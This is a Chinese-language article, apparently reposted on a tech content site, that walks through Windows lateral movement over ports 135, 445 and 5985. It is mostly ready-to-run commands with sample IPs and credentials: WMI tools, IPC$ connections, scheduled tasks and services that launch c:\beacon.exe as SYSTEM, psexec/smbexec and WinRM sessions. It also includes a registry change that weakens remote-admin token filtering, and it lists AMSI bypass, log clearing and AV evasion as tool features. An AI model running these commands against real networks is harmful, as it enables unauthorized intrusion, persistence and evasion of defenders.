内网横向下的135,445与5985端口利用

LocalAccountTokenFilterPolicy

在工作组环境下横向移动时administrator账户和管理员账户下的其他用户进行远程连接时,会有一定的区别,原因就是因为LocalAccountTokenFilterPolicy,在Windows Vista以后的操作系统中,注册表中默认没有这个值,因此当administrator账户进行连接时会得到具有管理员凭证的令牌,而其他管理员账户进行连接时会得到一个删除管理员凭证的令牌。因此当其他本地管理员账户进行连接时会提示权限不够无法连接。
以上这种情况在域环境中不受影响,只要是域管理员都可以建立管理员权限的连接。

注册表操作

使用该命令对注册表进行查询,可以看到默认不存在该值

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy

通过administrator账号和管理组账号对比可以发现只允许administrator登录

使用以下命令添加该值,此时已经可以用其他管理员账号进行横向

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

使用以下命令可以删除该注册表值

reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /f

135端口

WMIC

介绍

WMIC 是 Windows 管理仪表命令行(Windows Management InstrumentationCommand-line)的简称,它是一款命令行管理工具,使用 WMIC,我们不但可以管理本地计算机,还可以管理统一局域网内的所有远程计算机(需要必要的权限),而被管理的计算机不必事先安装 WMIC。自 Windows98 开始,Windows 操作系统都支持 WMICWMIC 是一系列工具集组成的。

特点

在用 WMIC 执行命令过程中,操作系统默认不会将 WMIC 的操作记录在日志中,因此在这个过程中不会产生日志。所以越来越多的攻击者由 psexec、 smbexec 转向 WMIC

利用条件

WMIC 的使用需要对方开启 135 端口,135 端口是 WMIC 默认的管理端口。但是有的工具例如impacketwmicexec.py还需要另外开启 445 端口和 admin$ 共享,因为他需要用 smb 回传来读取回显结果。

SharpWmi

介绍

下载地址:[https://github.com/QAX-A-Team/sharpwmi](https://github.com/QAX-A-Team/sharpwmi)
这是一个基于 135 端口来进行横向的工具, 具有命令执行和文件上传的功能。命令执行的实现是通过 Wmi 来执行命令,然后将结果写入注册表随后读取注册表内容来实现。文件上传功能是将数据写入注册表,随后使用 powershell 读取注册表数据写入到本地文件。

优点:
只依赖135端口,不需要139或者445端口缺点:
目前只支持上传512kb以下的文件,因为注册表每个值值长度不能超过512kb。
执行命令和上传文件都依赖powershell,容易被杀软检测

功能测试

命令执行

sharpwmi.exe 192.168.3.157 micle admin cmd whoami

文件上传

sharpwmi.exe 192.168.3.157 micle admin upload 1.txt "c:\1.txt"

执行的速度还是比较快的,但是该工具不能批量执行命令或上传文件,可以使用以下魔改版

https://github.com/idiotc4t/sharpwmi

日志分析

我们首先将 windows 的五种日志全部清除

重新使用工具执行命令,可以看到只有在安全日志中存在登录和特殊登录(给登录用户赋予权限),不存在其他日志信息

WMIHACKER

下载地址:https://github.com/rootclay/WMIHACKER/

介绍

该工具主要功能:命令执行、文件上传、文件下载,该工具仅需要 135 端口,具体原理和SharpWmi类似

功能测试

有命令回显执行方式

cscript WMIHACKER.vbs /cmd 192.168.3.157 micle "admin" "systeminfo" 1

无命令回显,只能通过写文件再读文件的方式来实现

cscript WMIHACKER.vbs /cmd 192.168.3.157 micle "admin" "systeminfo > c:\1.txt" 0
cscript WMIHACKER.vbs /cmd 192.168.3.157 micle "admin" "type  c:\1.txt" 1

模拟shell模式,该模式产生的并不是交互式shell,仅仅是便于执行命令而已,可以看到如果执行powershell,下方则一直在等待执行无法结束

cscript WMIHACKER.vbs /shell 192.168.3.157 micle "admin"

文件上传

cscript WMIHACKER.vbs /upload 192.168.3.157 micle "admin" "1.txt" "c:\hello.txt"

文件下载功能失败,工具可能有问题,大家自行测试。

日志分析

可以看到只包含登录和注销日志

wmiexec-pro

下载地址:https://github.com/XiaoliChan/wmiexec-Pro

介绍

新一代 wmiexec.py,更多新功能,整个操作仅适用于端口 135(不需要 smb 连接)用于横向移动中的 AV 规避,该工具文件上传与命令执行不再从注册表获取,而是通过自定义 wmi 类来实现
主要特点:

主要特点:AV规避
主要特点:无需win32_process
主要特点:只需要135端口。
新模块:AMSI旁路
新模块:文件传输
新模块:通过 wmi 类方法远程启用 RDP
新模块:Windows 防火墙滥用
新模块:事件日志循环清理
新模块:在不接触 CMD 的情况下远程启用 WinRM
新模块:服务管理器
新模块:RID-Hijack
增强功能:以新方式获取命令执行输出
增强功能:执行 vbs 文件

功能测试

建立shell连接

python3 wmiexec-pro.py micle:admin@192.168.3.157 exec-command -shell

执行系统命令

python3 wmiexec-pro.py micle:admin@192.168.3.157 exec-command -command "whoami"

当然还有许多附加功能,大家自行测试即可

日志分析

日志中同样仅有登录注销日志

445端口

IPC$ 共享

介绍

IPC$ (Internet Process Connection) 是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换。 IPC$是 NT2000 的一项新功能,在同一时间内,两个 IP 之间只允许建立一个连接在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$、D$、E$……)和系统目录共享 (admin$),但只有管理员能够对他们进行远程操作。

以下为常用命令

net use #查看本机连接其他的机器
net session #查看其他连接本机的机器
net share #查看开启的本地共享
net share ipc$ #开启ipc共享
net share ipc$ #删除ipc共享
net use \\192.168.3.1\ipc$ /u:"administrator" password #以管理员账号进行ipc连接
net use \\192.168.3.1\ipc$ \del #删除建立的ipc连接
dir \\192.168.3.1\c$\user #查看c盘下的user文件夹的目录
net time \\192.168.3.1 #查看远程主机的时间

ipc连接利用条件:开启了445端口和ipc$共享,如果主机没有开放,建立连接时会提示找不到网络名。

利用方式

dir命令

tasklist 命令查看进程

at 命令创建计划任务
首先查看远程主机时间

使用at命令创建计划任务

at \\192.168.3.150 15:17:30 cmd.exe /c "ipconfig >1.txt"

虽然说已经被弃用,但是只要成功添加作业 at 命令就有效

删除创建的作业

schtasks 执行计划任务
比 at 命令灵活,但是在c:\windows\tasks\xxx.txt会留下日志
在目标主机 192.168.3.157 上创建一个名为 test 的计划任务,启动权限为 system,启动时间为每隔一小时启动一次

schtasks /create /s 192.168.3.157 /tn test /sc HOURLY /mo 1 /tr c:\beacon.exe /ru system /f /U micle /P admin

查询该 test 计划任务

schtasks /query /s 192.168.3.157 /U micle -P admin | findstr test

启动 test 计划任务,成功上线

schtasks /run /s 192.168.3.157 /i /tn "test" /U micle -P admin

删除该 test 计划任务

schtasks /delete /s 192.168.3.157 /tn "test" /f /U micle -P admin

sc 注册服务

#sc 命令远程创建名为 test 的服务
sc \\192.168.3.157 create test binpath= "c:\beacon.exe" 
#远程查询名为 test 的服务
sc \\192.168.3.157 query test
#远程启动名为 test 的服务
sc \\192.168.3.157 start test
#远程删除名为 test 的服务
sc \\192.168.3.157 delete test

atexec.py

impacket 中的 atexec.py 脚本,就是利用定时任务获取权限,该脚本的利用需要开启 ipc$共享,通过计划任务服务来在目标主机上实现命令执行,并返回命令执行后的输出结果 。
使用明文密码进行连接

使用 hash 进行连接

psexec

介绍

psexec 的基本原理是:通过管道上传一个二进制文件到目标机器的 C:\Windows 目录,并在远程目标机器上创建一个服务。然后,通过该服务运行二进制文件,运行结束后删除服务和二进制文件。由于创建或删除服务时会产生大量的日志,所以会在攻击溯源时通过日志反推攻击流程。并且该工具在执行上传的二进制文件时,会被杀毒软件查杀。

利用条件

要利用 psexec 远程连接,需要目标主机开启 445 端口和 admin$共享。因为 psexec 要往 C:\Windows 目录下写二进制文件。对于 impacket 下的 psexec.py,除了admin$共享外,还可以使用 C$共享。 而微软提供的psexec.exe则只能使用admin$共享

psexec.py

使用psexec.py执行

从上方可以看到上传的程序为gRKuLZdb.exe,启动的服务为XOGT

微软官方 psexec.exe

下载地址 https://download.sysinternals.com/files/PSTools.zip
该工具只依赖于 445 端口和 admin$共享,并且其上传的二进制文件名固定为 PSEXESVC.exe,创建的服务名固定为 PSEXESVC
如果已经建立ipc连接则不需要再输入账号密码,如果没建立使用以下命令

加 -s 获取system权限 不加则为登录的管理员权限
psexec.exe \\192.168.3.157 -u micle -p admin -s cmd.exe
psexec.exe \\192.168.3.157 -u micle -p admin  cmd.exe如果本地想获得一个system权限
PsExec64.exe -i -s  cmd.exe

可以看到程序名和服务名

日志分析

最明显的特征就是在系统日志中出现 ID 为 7045 的日志

smbexec.py

smbexec 是一个类似 psexec 的使用 RemComSvc 技术的工具,该工具通过文件共享在远程系统中创建服务,将要运行的命令通过服务写在 bat 文件中来执行,然后将执行的结果写在文件中来读取执行命令的输出,最后将 bat 文件、输出文件和服务都删除。

使用明文密码进行连接

使用-share参数可以使用ipc共享外的其他共享

日志分析

可以看到将命令输出到文件的服务

5985端口

WinRM 是 Windows Remote Managementd(Windows 远程管理)的简称。它基于 Web 服务管理,WinRM2.0 默认端口 5985(HTTP 端口)或 5986(HTTPS 端口)。如果所有的机器都是在 域环境下,则可以使用默认的 5985 端口,否则的话需要使用 HTTPS 传输(5986 端口)。使用 WinRM 我们可以在对方有设置防火墙的情况下远程管理这台服务器,因为启动 WinRM 服务后,防火墙默认会放行 5985 端口。WinRM 服务在 Windows Server 2012 及以上服务器自动启动。在 WindowsVista 上,服务必须手动启动。 WinRM 的好处在于,这种远程连接不容易被察觉到,也不会占用远程连接数。
当然在winRM连接时也遵循LocalAccountTokenFilterPolicy

相关命令

强制开启 winRM 远程管理

Enable-PSRemoting -force

快速开启 winRM 远程管理,对winRM进行快速配置,包括开启winRM和开启防火墙允许5985端口

winrm quickconfig -q

快速启动 WinRM 远程管理,对 WinRM 服务进行快速配置,包括开启 WinRM 和开启防火墙允许默认的 5985 端口和 5986 HTTPS 传输端口。开启 https 传输需要该机器需要证书

winrm quickconfig -transport:https

设置 WinRM 自启动

Set-Service WinRM -StartMode Automatic

查看 WinRM 监听

winrm enumerate winrm/config/listener

查看 WinRM 配置

winrm get winrm/config

修改 WinRM 默认端口

winrm set winrm/config/client/DefaultPorts '@{HTTPS="8888"}'

为 WinRM 服务配置加密方式为允许非加密

winrm set winrm/config/service '@{AllowUnencrypted="true"}'

设置只允许指定 IP 远程连接 WinRM

winrm set winrm/config/Client '@{TrustedHosts="192.168.3.*"}'

通过 WinRM 执行命令

执行程序,也可以填写木马所在的路径

winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck '@{commandline="calc.exe"}'

利用 WinRM 远程连接主机

客户端连接

winrs -r:http://192.168.3.170:5985 -u:micle -p:admin cmd

如果是工作组环境,本机未加入域,则需要在客户端允许此命令

Set-Item wsman:\localhost\Client\TrustedHosts -value *

使用 Enter-PSSession 连接
直接进入一个会话中

Enter-PSSession -computer 192.168.3.170 -Credential micle -Port 5985

新建一个会话但是不进入

New-PSSession -Name test -ComputerName 192.168.3.170 -Credential  micle

查看所有会话

Get-PSSession

进入 ID 为 1 的 WinRM会话中

Enter-PSSession -id 1

进入 Name 为 test 的 WinRM 会话中

Enter-PSSession -Name test

使用 Python 远程连接 WinRM

服务端需要进行如下配置

#为 winrm service 配置 auth:
winrm set winrm/config/service/auth '@{Basic="true"}'#为 winrm service 配置加密方式为允许非加密:
winrm set winrm/config/service '@{AllowUnencrypted="true"}'

安装库 pip install pywinrm
运行以下代码即可

import winrm
while True:cmd = input("$: ")wintest = winrm.Session('http://192.168.3.170:5985/wsman',auth=('micle','admin'))ret = wintest.run_cmd(cmd)print(ret.std_out.decode("GBK"))print(ret.std_err.decode())

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/600678.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

nginx到底是怎么工作的

工作流程 用户通过域名发出访问Web服务器的请求,该域名被DNS服务器解析为反向代理服务器的IP地址反向代理服务器接受用户的请求反向代理服务器在本地缓存中查找请求的内容,找到后直接把内容发送给用户如果本地缓存里没有用户所请求的信息内容&#xff0…

VMware Esxi安装群辉系统

群晖的网络存储产品具有强大的操作系统,提供了各种应用程序和服务,包括文件共享、数据备份、多媒体管理、远程访问等。用户可以通过简单直观的界面来管理他们的存储设备,并且可以根据自己的需求扩展设备的功能。总的来说,群晖的产…

【原创教程】DK系列调速电机和汇川plc通过Modbus协议通讯

点击“蓝字”关注我们吧 1、首先从说明书获取调速器驱动器参数,根据要求设置参数码(如下图所示)。 2、在COM0双击,弹出对话框COM通讯参数配置(如下图所示)。 3、协议选择MODBUS—RTU主站。H/W类型系统默认,端口号默认,通讯速率、数据长度、奇偶校验位、停止位根据调速…

pom.xml文件中的标签认识

周末不卷,研究下pom.xml里的内容。 一般一个pom.xml文件外面一个project包着以下的标签: groupId artifactId repositories properties dependencies build plugins 下面分别来说说这几个标签的含义: 1、groupId:表示项目组的id…

387XX固态功率放大器系列 分频段可实现9kHz~110GHz

387XX固态功率放大器系列 分频段可实现9kHz~110GHz 387XX固态功率放大器系列分频段可实现9kHz~110GHz的频率范围内输入信号的功率放大。具有增益可调、功率稳幅及远程控制等功能。宽频带、高增益及大功率是它的特点。 简述 387XX固态功率放大器系列由…

蓝桥杯第六届c++大学B组详解

前言: 看了很多博客以及视频讲解,感觉都不是很清楚,比较模棱两可,所以干脆自己一边想,一边写博客,也可帮助到其他人,都是根据自己的逻辑来尽量清楚简单的讲清楚题目,喜欢的不要吝啬三…

Qt实现Kermit协议(四)

3 实现 3.3 KermitRecvFile 该模块实现了Kermit接收文件功能。 序列图如下: 3.3.1 KermitRecvFile定义 class QSerialPort; class KermitRecvFile : public QObject, public Kermit {Q_OBJECT public:explicit KermitRecvFile(QSerialPort *serial, QObject *…

ezuikit.js加载flv格式链接报错问题

报错信息如下: 解决方法: 添加依赖 "flv.js": "^1.5.0", 在main.js或app.ts里面 加上 window.flvjs require(flv.js/dist/flv); 就可以成功运行了

消息队列MQ(面试题:为什么使用MQ)

一、什么是mq? MQ全称 Message Queue(消息队列),是在消息的传输过程中保存消息的容器。多用于分布式系统之间进行通信,解耦。 二、常见的mq产品 RabbitMQ、RocketMQ、ActiveMQ、Kafka、ZeroMQ、MetaMq RabbitMQ: One broker …

flask接口返回文本、json、图片格式

📚博客主页:knighthood2001 ✨公众号:认知up吧 (目前正在带领大家一起提升认知,感兴趣可以来围观一下) 🎃知识星球:【认知up吧|成长|副业】介绍 ❤️感谢大家点赞👍&…

计算机的发展趋势

本文 我们来说计算机的发展趋势 目前来讲 计算机是朝着 巨型化 微型化 网络化 智能化发展 巨型化 指功能巨型化 是指其高速运算、大存储容量和强功能的巨型计算机。其运算能力一般在每秒百亿次以上、内存容量在几百兆字节以上。 主要用于航空航天、军事、气象、人工智能、生…

数据结构——二叉树——二叉搜索树(Binary Search Tree, BST)

目录 一、98. 验证二叉搜索树 二、96. 不同的二叉搜索树 三、538. 把二叉搜索树转换为累加树 二叉搜索树:对于二叉搜索树中的每个结点,其左子结点的值小于该结点的值,而右子结点的值大于该结点的值 一、98. 验证二叉搜索树 给你一个二叉树的…